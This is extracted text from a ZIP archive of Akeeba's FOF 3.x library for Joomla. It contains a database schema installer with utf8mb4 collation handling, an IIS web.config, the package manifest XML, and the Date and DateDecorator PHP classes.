only collecting tables do not run the queries if ($onlyCollectTables) { continue; } $canFail = $node->attributes->canfail ? (string) $node->attributes->canfail : $canFailAction; if (is_string($canFail)) { $canFail = strtoupper($canFail); } $canFail = (in_array($canFail, [true, 1, 'YES', 'TRUE'])); // Do I need to automatically convert the collation of all CREATE / ALTER queries? if ($autoCollationConversion) { if ($hasUtf8mb4Support) { // We have UTF8MB4 support. Convert all queries to UTF8MB4. $query = $this->convertUtf8QueryToUtf8mb4($query); } else { // We do not have UTF8MB4 support. Convert all queries to plain old UTF8. $query = $this->convertUtf8mb4QueryToUtf8($query); } } $this->db->setQuery($query); try { $this->db->execute(); } catch (Exception $e) { // Special consideration for CREATE TABLE commands on uppercase prefix databases. if ($canFailCreateTable && stripos($query, 'CREATE TABLE') !== false) { $canFail = true; } // If we are not allowed to fail, throw back the exception we caught if (!$canFail) { throw $e; } } } } } // Auto-convert the collation of tables if we are told to do so, have utf8mb4 support and a list of tables. if ($autoCollationConversion && $hasUtf8mb4Support && !empty($tablesToConvert)) { $this->convertTablesToUtf8mb4($tablesToConvert); } } /** * Uninstalls the database schema * * @return void */ public function removeSchema() { // Get the schema XML file $xml = $this->findSchemaXml(); if (empty($xml)) { return; } // Make sure there are SQL commands in this file if (!$xml->sql) { return; } // Walk the sql > action tags to find all tables $tables = []; /** @var SimpleXMLElement $actions */ $actions = $xml->sql->children(); /** @var SimpleXMLElement $action */ foreach ($actions as $action) { $attributes = $action->attributes(); $tables[] = (string) $attributes->table; } // Simplify the tables list $tables = array_unique($tables); // Start dropping tables foreach ($tables as $table) { try { $this->db->dropTable($table); } catch (Exception $e) { // Do not fail if I can't drop the table } } } /** * Find an suitable schema XML file for this database type and return the SimpleXMLElement holding its information * * @return null|SimpleXMLElement Null if no suitable schema XML file is found */ protected function findSchemaXml() { $xml = null; // Do we have a forced file? if ($this->forcedFile) { $xml = $this->openAndVerify($this->forcedFile); if ($xml !== false) { return $xml; } } // Get all XML files in the schema directory $xmlFiles = Folder::files($this->xmlDirectory, '\.xml$'); if (empty($xmlFiles)) { return $xml; } foreach ($xmlFiles as $baseName) { // Remove any accidental whitespace $baseName = trim($baseName); // Get the full path to the file $fileName = $this->xmlDirectory . '/' . $baseName; $xml = $this->openAndVerify($fileName); if ($xml !== false) { return $xml; } } return null; } /** * Opens the schema XML file and return the SimpleXMLElement holding its information. If the file doesn't exist, it * is not a schema file or it doesn't match our database driver we return boolean false. * * @return false|SimpleXMLElement False if it's not a suitable XML schema file */ protected function openAndVerify($fileName) { $driverType = $this->db->name; // Make sure the file exists if (!@file_exists($fileName)) { return false; } // Make sure the file is a valid XML document try { $xml = new SimpleXMLElement($fileName, LIBXML_NONET, true); } catch (Exception $e) { $xml = null; return false; } // Make sure the file is an XML schema file if ($xml->getName() != 'schema') { $xml = null; return false; } if (!$xml->meta) { $xml = null; return false; } if (!$xml->meta->drivers) { $xml = null; return false; } /** @var SimpleXMLElement $drivers */ $drivers = $xml->meta->drivers; foreach ($drivers->children() as $driverTypeTag) { $thisDriverType = (string) $driverTypeTag; if ($thisDriverType == $driverType) { return $xml; } } // Some custom database drivers use a non-standard $name variable. Let try a relaxed match. foreach ($drivers->children() as $driverTypeTag) { $thisDriverType = (string) $driverTypeTag; if ( // e.g. $driverType = 'mysqlistupid', $thisDriverType = 'mysqli' => driver matched strpos($driverType, $thisDriverType) === 0 // e.g. $driverType = 'stupidmysqli', $thisDriverType = 'mysqli' => driver matched || (substr($driverType, -strlen($thisDriverType)) == $thisDriverType) ) { return $xml; } } return false; } /** * Checks if a condition is met * * @param string $table The table we're operating on * @param SimpleXMLElement $node The condition definition node * * @return bool */ protected function conditionMet($table, SimpleXMLElement $node) { if (empty(static::$allTables)) { static::$allTables = $this->db->getTableList(); } // Does the table exist? $tableNormal = $this->db->replacePrefix($table); $tableExists = in_array($tableNormal, static::$allTables); // Initialise $condition = false; // Get the condition's attributes $attributes = $node->attributes(); $type = $attributes->type ?: null; $value = $attributes->value ? (string) $attributes->value : null; switch ($type) { // Check if a table or column is missing case 'missing': $fieldName = (string) $value; if (empty($fieldName)) { $condition = !$tableExists; } else { try { $tableColumns = $this->db->getTableColumns($tableNormal, true); } catch (Exception $e) { $tableColumns = []; } $condition = !array_key_exists($fieldName, $tableColumns); } break; // Check if a column type matches the "coltype" attribute case 'type': try { $tableColumns = $this->db->getTableColumns($tableNormal, true); } catch (Exception $e) { $tableColumns = []; } $condition = false; if (array_key_exists($value, $tableColumns)) { $coltype = $attributes->coltype ?: null; if (!empty($coltype)) { $coltype = strtolower($coltype); $currentType = is_string($tableColumns[$value]) ? $tableColumns[$value] : strtolower($tableColumns[$value]->Type); $condition = ($coltype == $currentType); } } break; // Check if a column is nullable case 'nullable': try { $tableColumns = $this->db->getTableColumns($tableNormal, true); } catch (Exception $e) { $tableColumns = []; } $condition = false; if (array_key_exists($value, $tableColumns)) { $condition = (is_string($tableColumns[$value]) ? 'YES' : strtolower($tableColumns[$value]->Null)) == 'yes'; } break; // Check if a (named) index exists on the table. Currently only supported on MySQL. case 'index': $indexName = (string) $value; $condition = true; if (!empty($indexName)) { $indexName = str_replace('#__', $this->db->getPrefix(), $indexName); $condition = $this->hasIndex($tableNormal, $indexName); } break; // Check if a table or column needs to be upgraded to utf8mb4 case 'utf8mb4upgrade': $condition = false; // Check if the driver and the database connection have UTF8MB4 support if (method_exists($this->db, 'hasUTF8mb4Support') && $this->db->hasUTF8mb4Support()) { $fieldName = (string) $value; if (empty($fieldName)) { $collation = $this->getTableCollation($tableNormal); } else { $collation = $this->getColumnCollation($tableNormal, $fieldName); } $parts = explode('_', $collation, 3); $encoding = empty($parts[0]) ? '' : strtolower($parts[0]); $condition = $encoding != 'utf8mb4'; } break; // Check if the result of a query matches our expectation case 'equals': $query = (string) $node; $this->db->setQuery($query); try { $result = $this->db->loadResult(); $condition = ($result == $value); } catch (Exception $e) { return false; } break; // Always returns true case 'true': return true; break; default: return false; break; } return $condition; } /** * Get the collation of a table. Uses an internal cache for efficiency. * * @param string $tableName The name of the table * * @return string The collation, e.g. "utf8_general_ci" */ private function getTableCollation($tableName) { static $cache = []; $tableName = $this->db->replacePrefix($tableName); if (!isset($cache[$tableName])) { $cache[$tableName] = $this->realGetTableCollation($tableName); } return $cache[$tableName]; } /** * Get the collation of a table. This is the internal method used by getTableCollation. * * @param string $tableName The name of the table * * @return string The collation, e.g. "utf8_general_ci" */ private function realGetTableCollation($tableName) { $utf8Support = method_exists($this->db, 'hasUTFSupport') && $this->db->hasUTFSupport(); $utf8mb4Support = $utf8Support && method_exists($this->db, 'hasUTF8mb4Support') && $this->db->hasUTF8mb4Support(); $collation = $utf8mb4Support ? 'utf8mb4_unicode_ci' : ($utf8Support ? 'utf_general_ci' : 'latin1_swedish_ci'); $query = 'SHOW TABLE STATUS LIKE ' . $this->db->q($tableName); try { $row = $this->db->setQuery($query)->loadAssoc(); } catch (Exception $e) { return $collation; } if (empty($row)) { return $collation; } if (!isset($row['Collation'])) { return $collation; } if (empty($row['Collation'])) { return $collation; } return $row['Collation']; } /** * Get the collation of a column. Uses an internal cache for efficiency. * * @param string $tableName The name of the table * @param string $columnName The name of the column * * @return string The collation, e.g. "utf8_general_ci" */ private function getColumnCollation($tableName, $columnName) { static $cache = []; $tableName = $this->db->replacePrefix($tableName); $columnName = $this->db->replacePrefix($columnName); if (!isset($cache[$tableName])) { $cache[$tableName] = []; } if (!isset($cache[$tableName][$columnName])) { $cache[$tableName][$columnName] = $this->realGetColumnCollation($tableName, $columnName); } return $cache[$tableName][$columnName]; } /** * Get the collation of a column. This is the internal method used by getColumnCollation. * * @param string $tableName The name of the table * @param string $columnName The name of the column * * @return string The collation, e.g. "utf8_general_ci" */ private function realGetColumnCollation($tableName, $columnName) { $collation = $this->getTableCollation($tableName); $query = 'SHOW FULL COLUMNS FROM ' . $this->db->qn($tableName) . ' LIKE ' . $this->db->q($columnName); try { $row = $this->db->setQuery($query)->loadAssoc(); } catch (Exception $e) { return $collation; } if (empty($row)) { return $collation; } if (!isset($row['Collation'])) { return $collation; } if (empty($row['Collation'])) { return $collation; } return $row['Collation']; } /** * Automatically downgrade a CREATE TABLE or ALTER TABLE query from utf8mb4 (UTF-8 Multibyte) to plain utf8. * * We use our own method so we can be site it works even on Joomla! 3.4 or earlier, where UTF8MB4 support is not * implemented. * * @param string $query The query to convert * * @return string The converted query */ private function convertUtf8mb4QueryToUtf8($query) { // If it's not an ALTER TABLE or CREATE TABLE command there's nothing to convert $beginningOfQuery = substr($query, 0, 12); $beginningOfQuery = strtoupper($beginningOfQuery); if (!in_array($beginningOfQuery, ['ALTER TABLE ', 'CREATE TABLE'])) { return $query; } // Replace utf8mb4 with utf8 $from = [ 'utf8mb4_unicode_ci', 'utf8mb4_', 'utf8mb4', ]; $to = [ 'utf8_general_ci', // Yeah, we convert utf8mb4_unicode_ci to utf8_general_ci per Joomla!'s conventions 'utf8_', 'utf8', ]; return str_replace($from, $to, $query); } /** * Automatically upgrade a CREATE TABLE or ALTER TABLE query from plain utf8 to utf8mb4 (UTF-8 Multibyte). * * @param string $query The query to convert * * @return string The converted query */ private function convertUtf8QueryToUtf8mb4($query) { // If it's not an ALTER TABLE or CREATE TABLE command there's nothing to convert $beginningOfQuery = substr($query, 0, 12); $beginningOfQuery = strtoupper($beginningOfQuery); if (!in_array($beginningOfQuery, ['ALTER TABLE ', 'CREATE TABLE'])) { return $query; } // Replace utf8 with utf8mb4 $from = [ 'utf8_general_ci', 'utf8_', 'utf8', ]; $to = [ 'utf8mb4_unicode_ci', // Yeah, we convert utf8_general_ci to utf8mb4_unicode_ci per Joomla!'s conventions 'utf8mb4_', 'utf8mb4', ]; return str_replace($from, $to, $query); } /** * Analyzes a query. If it's a CREATE TABLE query the table is added to the $tables array. * * @param string $query The query to analyze * @param array $tables The array where the name of the detected table is added * * @return void */ private function extractTablesToConvert($query, &$tables) { // Normalize the whitespace of the query $query = trim($query); $query = str_replace(["\r\n", "\r", "\n"], ' ', $query); while (strstr($query, ' ') !== false) { $query = str_replace(' ', ' ', $query); } // Is it a create table query? $queryStart = substr($query, 0, 12); $queryStart = strtoupper($queryStart); if ($queryStart != 'CREATE TABLE') { return; } // Remove the CREATE TABLE keyword. Also, If there's an IF NOT EXISTS clause remove it. $query = substr($query, 12); $query = str_ireplace('IF NOT EXISTS', '', $query); $query = trim($query); // Make sure there is a space between the table name and its definition, denoted by an open parenthesis $query = str_replace('(', ' (', $query); // Now we should have the name of the table, a space and the rest of the query. Extract the table name. $parts = explode(' ', $query, 2); $tableName = $parts[0]; /** * The table name may be quoted. Since UTF8MB4 is only supported in MySQL, the table name can only be * quoted with surrounding backticks. Therefore we can trim backquotes from the table name to unquote it! **/ $tableName = trim($tableName, '`'); // Finally, add the table name to $tables if it doesn't already exist. if (!in_array($tableName, $tables)) { $tables[] = $tableName; } } /** * Converts the collation of tables listed in $tablesToConvert to utf8mb4_unicode_ci * * @param array $tablesToConvert The list of tables to convert * * @return void */ private function convertTablesToUtf8mb4($tablesToConvert) { // Make sure the database driver REALLY has support for converting character sets if (!method_exists($this->db, 'getAlterTableCharacterSet')) { return; } asort($tablesToConvert); foreach ($tablesToConvert as $tableName) { $collation = $this->getTableCollation($tableName); $parts = explode('_', $collation, 3); $encoding = empty($parts[0]) ? '' : strtolower($parts[0]); if ($encoding != 'utf8mb4') { $queries = $this->db->getAlterTableCharacterSet($tableName); try { foreach ($queries as $query) { $this->db->setQuery($query)->execute(); } } catch (Exception $e) { // We ignore failed conversions. Remember, you MUST change your indices MANUALLY. } } } } /** * Returns true if table $tableName has an index named $indexName or if it's impossible to retrieve index names for * the table (not enough privileges, not a MySQL database, ...) * * @param string $tableName The name of the table * @param string $indexName The name of the index * * @return bool */ private function hasIndex($tableName, $indexName) { static $isMySQL = null; static $cache = []; if (is_null($isMySQL)) { $driverType = $this->db->name; $driverType = strtolower($driverType); $isMySQL = true; if ( !strpos($driverType, 'mysql') === 0 && !(substr($driverType, -5) == 'mysql') && !(substr($driverType, -6) == 'mysqli') ) { $isMySQL = false; } } // Not MySQL? Lie and return true. if (!$isMySQL) { return true; } if (!isset($cache[$tableName])) { $cache[$tableName] = []; } if (!isset($cache[$tableName][$indexName])) { $cache[$tableName][$indexName] = true; try { $indices = []; $query = 'SHOW INDEXES FROM ' . $this->db->qn($tableName); $indexDefinitions = $this->db->setQuery($query)->loadAssocList(); if (!empty($indexDefinitions) && is_array($indexDefinitions)) { foreach ($indexDefinitions as $def) { $indices[] = $def['Key_name']; } $indices = array_unique($indices); } $cache[$tableName][$indexName] = in_array($indexName, $indices); } catch (Exception $e) { // Ignore errors } } return $cache[$tableName][$indexName]; } } PK���\|��Nfof30/web.confignu&1i�<?xml version="1.0"?> <!-- This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions --> <configuration> <system.webServer> <security> <requestFiltering> <fileExtensions allowUnlisted="false" > <clear /> <add fileExtension=".html" allowed="true"/> </fileExtensions> </requestFiltering> </security> </system.webServer> </configuration>PK���\g6wwfof30/file_fof30.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?> <!-- ~ @package FOF ~ @copyright Copyright (c)2010-2020 Nicholas K. Dionysopoulos / Akeeba Ltd ~ @license GNU General Public License version 2, or later --> <!-- A legitimate question among developers reading this file may be why we are using a "files" extension type instead of the "library" type which, on the face of it, seems more appropriate. We have not lost our mind. We are working around the adverse effects of the very different way Joomla treats "library" packages than any other package type. When applying an update to a library package Joomla! will uninstall it BEFORE it executes the installation script's preflight event. This means that any checks made there to prevent the installation of the library in an incompatible environment (e.g. wrong PHP or Joomla! version, or even preventing an accidental downgrade) results in the library files being UNINSTALLED. This is really bad for anyone who tries to install a library package on an unsupported environment. If the library package runs no checks the installed library version causes the extensions that depend on it to crash, taking down the site. If the library package runs checks in the earliest available point in time (preflight) you end up with the old library files having been uninstalled which again causes the extensions that depend on it to crash, taking down the site. No matter what you do, the very action of TRYING to install an unsupported library version KILLS THE SITE. This is madness. Worse than that, this is a known issue in Joomla since ~2017 but nobody will fix it until a new major version. Since this doesn't look likely in Joomla 4.0 we are talking about Joomla 5 which could be anywhere from two to ten years into the future. Clearly this doesn't cut it for us: we don't want trying to install our software causing sites to stop working! The only thing we can do to prevent your sites from crashing to the ground if you try to install a version of our software which does not support your PHP and/or Joomla! versions is to deliver our library as a *files* package. This is nonsensical, it is 100% architecturally wrong BUT it is also the only way we can apply pre-installation checks which fail gracefully instead of causing your site to crash and burn. --> <extension type="file" version="3.8" method="upgrade"> <name>file_fof30</name> <description> <![CDATA[ Framework-on-Framework (FOF) 3.x - The rapid application development framework for Joomla!.<br/> <b>WARNING</b>: This is NOT a duplicate of the FOF library already installed with Joomla!. It is a different version used by other extensions on your site. Do NOT uninstall either FOF package. If you do you will break your site. ]]> </description> <creationDate>2020-07-14</creationDate> <author>Nicholas K. Dionysopoulos / Akeeba Ltd</author> <authorEmail>nicholas@akeeba.com</authorEmail> <authorUrl>https://www.akeeba.com</authorUrl> <copyright>(c)2010-2019 Nicholas K. Dionysopoulos / Akeeba Ltd</copyright> <license>GNU GPLv2 or later</license> <version>3.6.2</version> <packager>Akeeba Ltd</packager> <packagerurl>https://www.akeeba.com/download.html</packagerurl> <fileset> <files folder="fof" target="libraries/fof30"> <folder>Autoloader</folder> <folder>Cli</folder> <folder>Configuration</folder> <folder>Container</folder> <folder>Controller</folder> <folder>Database</folder> <folder>Date</folder> <folder>Dispatcher</folder> <folder>Download</folder> <folder>Encrypt</folder> <folder>Event</folder> <folder>Factory</folder> <folder>Inflector</folder> <folder>Input</folder> <folder>Layout</folder> <folder>Model</folder> <folder>Params</folder> <folder>Pimple</folder> <folder>Platform</folder> <folder>Render</folder> <folder>Template</folder> <folder>Timer</folder> <folder>Toolbar</folder> <folder>TransparentAuthentication</folder> <folder>Update</folder> <folder>Utils</folder> <folder>View</folder> <folder>ViewTemplates</folder> <file>LICENSE.txt</file> <file>include.php</file> <file>version.txt</file> <file>.htaccess</file> <file>web.config</file> </files> <files folder="fof/language/en-GB" target="language/en-GB"> <file>en-GB.lib_fof30.ini</file> </files> <files folder="fof/language/en-GB" target="administrator/language/en-GB"> <file>en-GB.lib_fof30.ini</file> </files> </fileset> <!-- Installation / uninstallation script file --> <scriptfile>script.fof.php</scriptfile> <updateservers> <server type="extension" priority="1" name="FOF 3.x">http://cdn.akeeba.com/updates/fof3_file.xml</server> </updateservers> </extension>PK���\�6�Ę5�5fof30/Date/Date.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Date; defined('_JEXEC') || die; use DateInterval; use DateTime; use DateTimeZone; use JDatabaseDriver; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; /** * The Date class is a fork of Joomla's JDate. We had to fork that code in April 2017 when Joomla! 7.0 was released * with * an untested change that completely broke date handling on PHP 7.0 and earlier versions. Since we can no longer trust * Joomla's core date and time handling we are providing our own, stable code. * * Date is a class that stores a date and provides logic to manipulate and render that date in a variety of formats. * * @method Date|bool add(DateInterval $interval) Adds an amount of days, months, years, hours, minutes and seconds * to a JDate object. * @method Date|bool sub(DateInterval $interval) Subtracts an amount of days, months, years, hours, minutes and * seconds from a JDate object. * @method Date|bool modify($modify) Alter the timestamp of this object by incre-/decrementing in a * format accepted by strtotime(). * * @property-read string $daysinmonth t - Number of days in the given month. * @property-read string $dayofweek N - ISO-8601 numeric representation of the day of the week. * @property-read string $dayofyear z - The day of the year (starting from 0). * @property-read boolean $isleapyear L - Whether it's a leap year. * @property-read string $day d - Day of the month, 2 digits with leading zeros. * @property-read string $hour H - 24-hour format of an hour with leading zeros. * @property-read string $minute i - Minutes with leading zeros. * @property-read string $second s - Seconds with leading zeros. * @property-read string $microsecond u - Microseconds with leading zeros. * @property-read string $month m - Numeric representation of a month, with leading zeros. * @property-read string $ordinal S - English ordinal suffix for the day of the month, 2 characters. * @property-read string $week W - ISO-8601 week number of year, weeks starting on Monday. * @property-read string $year Y - A full numeric representation of a year, 4 digits. */ class Date extends DateTime { public const DAY_ABBR = "\x021\x03"; public const DAY_NAME = "\x022\x03"; public const MONTH_ABBR = "\x023\x03"; public const MONTH_NAME = "\x024\x03"; /** * The format string to be applied when using the __toString() magic method. * * @var string */ public static $format = 'Y-m-d H:i:s'; /** * Placeholder for a DateTimeZone object with GMT as the time zone. * * @var object */ protected static $gmt; /** * Placeholder for a DateTimeZone object with the default server * time zone as the time zone. * * @var object */ protected static $stz; /** * The DateTimeZone object for usage in rending dates as strings. * * @var DateTimeZone */ protected $tz; /** * Constructor. * * @param string $date String in a format accepted by strtotime(), defaults to "now". * @param mixed $tz Time zone to be used for the date. Might be a string or a DateTimeZone object. */ public function __construct($date = 'now', $tz = null) { // Create the base GMT and server time zone objects. if (empty(self::$gmt) || empty(self::$stz)) { self::$gmt = new DateTimeZone('GMT'); self::$stz = new DateTimeZone(@date_default_timezone_get()); } // If the time zone object is not set, attempt to build it. if (!($tz instanceof DateTimeZone)) { if ($tz === null) { $tz = self::$gmt; } elseif (is_string($tz)) { $tz = new DateTimeZone($tz); } } // On PHP 7.1 and later use an integer timestamp, without microseconds, to preserve backwards compatibility. // See http://php.net/manual/en/migration71.incompatible.php#migration71.incompatible.datetime-microseconds if ($date === 'now' && version_compare(PHP_VERSION, '7.1.0', '>=')) { $date = time(); } // If the date is numeric assume a unix timestamp and convert it. date_default_timezone_set('UTC'); $date = is_numeric($date) ? date('c', $date) : $date; // Call the DateTime constructor. parent::__construct($date, $tz); // Reset the timezone for 3rd party libraries/extension that does not use JDate date_default_timezone_set(self::$stz->getName()); // Set the timezone object for access later. $this->tz = $tz; } /** * Proxy for new JDate(). * * @param string $date String in a format accepted by strtotime(), defaults to "now". * @param mixed $tz Time zone to be used for the date. * * @return Date */ public static function getInstance($date = 'now', $tz = null) { return new Date($date, $tz); } /** * Magic method to access properties of the date given by class to the format method. * * @param string $name The name of the property. * * @return mixed A value if the property name is valid, null otherwise. */ public function __get($name) { $value = null; switch ($name) { case 'daysinmonth': $value = $this->format('t', true); break; case 'dayofweek': $value = $this->format('N', true); break; case 'dayofyear': $value = $this->format('z', true); break; case 'isleapyear': $value = (boolean) $this->format('L', true); break; case 'day': $value = $this->format('d', true); break; case 'hour': $value = $this->format('H', true); break; case 'minute': $value = $this->format('i', true); break; case 'second': $value = $this->format('s', true); break; case 'month': $value = $this->format('m', true); break; case 'ordinal': $value = $this->format('S', true); break; case 'week': $value = $this->format('W', true); break; case 'year': $value = $this->format('Y', true); break; default: $trace = debug_backtrace(); trigger_error( 'Undefined property via __get(): ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE ); } return $value; } /** * Magic method to render the date object in the format specified in the public * static member JDate::$format. * * @return string The date as a formatted string. */ public function __toString() { return (string) parent::format(self::$format); } /** * Translates day of week number to a string. * * @param integer $day The numeric day of the week. * @param boolean $abbr Return the abbreviated day string? * * @return string The day of the week. */ public function dayToString($day, $abbr = false) { switch ($day) { case 0: default: return $abbr ? Text::_('SUN') : Text::_('SUNDAY'); case 1: return $abbr ? Text::_('MON') : Text::_('MONDAY'); case 2: return $abbr ? Text::_('TUE') : Text::_('TUESDAY'); case 3: return $abbr ? Text::_('WED') : Text::_('WEDNESDAY'); case 4: return $abbr ? Text::_('THU') : Text::_('THURSDAY'); case 5: return $abbr ? Text::_('FRI') : Text::_('FRIDAY'); case 6: return $abbr ? Text::_('SAT') : Text::_('SATURDAY'); } } /** * Gets the date as a formatted string in a local calendar. * * @param string $format The date format specification string (see {@link PHP_MANUAL#date}) * @param boolean $local True to return the date string in the local time zone, false to return it in GMT. * @param boolean $translate True to translate localised strings * * @return string The date string in the specified format format. */ public function calendar($format, $local = false, $translate = true) { return $this->format($format, $local, $translate); } /** * Gets the date as a formatted string. * * @param string $format The date format specification string (see {@link PHP_MANUAL#date}) * @param boolean $local True to return the date string in the local time zone, false to return it in GMT. * @param boolean $translate True to translate localised strings * * @return string The date string in the specified format format. */ public function format($format, $local = false, $translate = true) { if ($translate) { // Do string replacements for date format options that can be translated. $format = preg_replace('/(^|[^\\\])D/', "\\1" . self::DAY_ABBR, $format); $format = preg_replace('/(^|[^\\\])l/', "\\1" . self::DAY_NAME, $format); $format = preg_replace('/(^|[^\\\])M/', "\\1" . self::MONTH_ABBR, $format); $format = preg_replace('/(^|[^\\\])F/', "\\1" . self::MONTH_NAME, $format); } // If the returned time should not be local use GMT. if ($local == false && !empty(self::$gmt)) { parent::setTimezone(self::$gmt); } // Format the date. $return = parent::format($format); if ($translate) { // Manually modify the month and day strings in the formatted time. if (strpos($return, self::DAY_ABBR) !== false) { $return = str_replace(self::DAY_ABBR, $this->dayToString(parent::format('w'), true), $return); } if (strpos($return, self::DAY_NAME) !== false) { $return = str_replace(self::DAY_NAME, $this->dayToString(parent::format('w')), $return); } if (strpos($return, self::MONTH_ABBR) !== false) { $return = str_replace(self::MONTH_ABBR, $this->monthToString(parent::format('n'), true), $return); } if (strpos($return, self::MONTH_NAME) !== false) { $return = str_replace(self::MONTH_NAME, $this->monthToString(parent::format('n')), $return); } } if ($local == false && !empty($this->tz)) { parent::setTimezone($this->tz); } return $return; } /** * Get the time offset from GMT in hours or seconds. * * @param boolean $hours True to return the value in hours. * * @return float The time offset from GMT either in hours or in seconds. */ public function getOffsetFromGmt($hours = false) { return (float) $hours ? ($this->tz->getOffset($this) / 3600) : $this->tz->getOffset($this); } /** * Translates month number to a string. * * @param integer $month The numeric month of the year. * @param boolean $abbr If true, return the abbreviated month string * * @return string The month of the year. */ public function monthToString($month, $abbr = false) { switch ($month) { case 1: default: return $abbr ? Text::_('JANUARY_SHORT') : Text::_('JANUARY'); case 2: return $abbr ? Text::_('FEBRUARY_SHORT') : Text::_('FEBRUARY'); case 3: return $abbr ? Text::_('MARCH_SHORT') : Text::_('MARCH'); case 4: return $abbr ? Text::_('APRIL_SHORT') : Text::_('APRIL'); case 5: return $abbr ? Text::_('MAY_SHORT') : Text::_('MAY'); case 6: return $abbr ? Text::_('JUNE_SHORT') : Text::_('JUNE'); case 7: return $abbr ? Text::_('JULY_SHORT') : Text::_('JULY'); case 8: return $abbr ? Text::_('AUGUST_SHORT') : Text::_('AUGUST'); case 9: return $abbr ? Text::_('SEPTEMBER_SHORT') : Text::_('SEPTEMBER'); case 10: return $abbr ? Text::_('OCTOBER_SHORT') : Text::_('OCTOBER'); case 11: return $abbr ? Text::_('NOVEMBER_SHORT') : Text::_('NOVEMBER'); case 12: return $abbr ? Text::_('DECEMBER_SHORT') : Text::_('DECEMBER'); } } /** * Method to wrap the setTimezone() function and set the internal time zone object. * * @param DateTimeZone $tz The new DateTimeZone object. * * @return Date * * @note This method can't be type hinted due to a PHP bug: https://bugs.php.net/bug.php?id=61483 */ public function setTimezone($tz) { $this->tz = $tz; date_timezone_set($this, $tz); return $this; } /** * Gets the date as an ISO 8601 string. IETF RFC 3339 defines the ISO 8601 format * and it can be found at the IETF Web site. * * @param boolean $local True to return the date string in the local time zone, false to return it in GMT. * * @return string The date string in ISO 8601 format. * * @link http://www.ietf.org/rfc/rfc3339.txt */ public function toISO8601($local = false) { return $this->format(DateTime::RFC3339, $local, false); } /** * Gets the date as an SQL datetime string. * * @param boolean $local True to return the date string in the local time zone, false to return it in * GMT. * @param JDatabaseDriver $db The database driver or null to use JFactory::getDbo() * * @return string The date string in SQL datetime format. * * @link http://dev.mysql.com/doc/refman/5.0/en/datetime.html */ public function toSql($local = false, JDatabaseDriver $db = null) { if ($db === null) { $db = Factory::getDbo(); } return $this->format($db->getDateFormat(), $local, false); } /** * Gets the date as an RFC 822 string. IETF RFC 2822 supersedes RFC 822 and its definition * can be found at the IETF Web site. * * @param boolean $local True to return the date string in the local time zone, false to return it in GMT. * * @return string The date string in RFC 822 format. * * @link http://www.ietf.org/rfc/rfc2822.txt */ public function toRFC822($local = false) { return $this->format(DateTime::RFC2822, $local, false); } /** * Gets the date as UNIX time stamp. * * @return integer The date as a UNIX timestamp. */ public function toUnix() { return (int) parent::format('U'); } } PK���\[l��fof30/Date/DateDecorator.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Date; defined('_JEXEC') || die; use DateTime; use JDatabaseDriver; /** * This decorator will get any DateTime descendant and turn it into a FOF30\Date\Date compatible class. If the methods * specific to Date/JDate are available they will be used. Otherwise a new Date object will be spun from the information * in the decorated DateTime object and the results of a call to its method will be returned. */ class DateDecorator extends Date { /** * The decorated object * * @var DateTime */ protected $decorated = null; public function __construct($date = 'now', $tz = null) { if (is_object($date) && ($date instanceof DateTime)) { $this->decorated = $date; } else { $this->decorated = new Date($date, $tz); } $timestamp = $this->decorated->toISO8601(true); parent::__construct($timestamp); $this->setTimezone($this->decorated->getTimezone()); return; } public static function getInstance($date = 'now', $tz = null) { $coreObject = new Date($date, $tz); return new DateDecorator($coreObject); } /** * Magic method to access properties of the date given by class to the format method. * * @param string $name The name of the property. * * @return mixed A value if the property name is valid, null otherwise. */ public function __get($name) { return $this->decorated->$name; } public function __call($name, $arguments) { if (method_exists($this->decorated, $name)) { return call_user_func_array([$this->decorated, $name], $arguments); } throw new \InvalidArgumentException("JDate object does not have a $name method"); } public function sub($interval) { // Note to self: ignore phpStorm; we must NOT use a typehint for $interval return $this->decorated->sub($interval); } public function add($interval) { // Note to self: ignore phpStorm; we must NOT use a typehint for $interval return $this->decorated->add($interval); } public function modify($modify) { return $this->decorated->modify($modify); } public function __toString() { return (string) $this->decorated; } public function dayToString($day, $abbr = false) { return $this->decorated->dayToString($day, $abbr); } public function calendar($format, $local = false, $translate = true) { return $this->decorated->calendar($format, $local, $translate); } public function format($format, $local = false, $translate = true) { if (($this->decorated instanceof Date) || ($this->decorated instanceof \Joomla\CMS\Date\Date)) { return $this->decorated->format($format, $local, $translate); } return $this->decorated->format($format); } public function getOffsetFromGmt($hours = false) { return $this->decorated->getOffsetFromGMT($hours); } public function monthToString($month, $abbr = false) { return $this->monthToString($month, $abbr); } public function setTimezone($tz) { return $this->decorated->setTimezone($tz); } public function getTimezone() { return $this->decorated->getTimezone(); } public function getOffset() { return $this->decorated->getOffset(); } public function toISO8601($local = false) { return $this->decorated->toISO8601($local); } public function toSql($local = false, JDatabaseDriver $db = null) { return $this->decorated->toSql($local, $db); } public function toRFC822($local = false) { return $this->decorated->toRFC822($local); } public function toUnix() { return $this->decorated->toUnix(); } public function getTimestamp() { return $this->decorated->getTimestamp(); } public function setTime($hour, $minute, $second = 0, $microseconds = 0) { return $this->decorated->setTime($hour, $minute, $second, $microseconds); } public function setDate($year, $month, $day) { return $this->decorated->setDate($year, $month, $day); } public function setISODate($year, $week, $day = 1) { return $this->decorated->setISODate($year, $week, $day); } public function setTimestamp($unixtimestamp) { return $this->decorated->setTimestamp($unixtimestamp); } public function diff($datetime2, $absolute = false) { return $this->decorated->diff($datetime2, $absolute); } } PK���\�I�4�4fof30/script.fof.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2018 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 2 or later */ defined('_JEXEC') or die(); // Do not declare the class if it's already defined. We have to put this check otherwise while updating // multiple components at once will result in a fatal error since the class lib_fof30InstallerScript // is already declared if (class_exists('lib_fof30InstallerScript', false)) { return; } class lib_fof30InstallerScript { /** * The minimum PHP version required to install this extension * * @var string */ protected $minimumPHPVersion = '5.4.0'; /** * The minimum Joomla! version required to install this extension * * @var string */ protected $minimumJoomlaVersion = '3.3.0'; /** 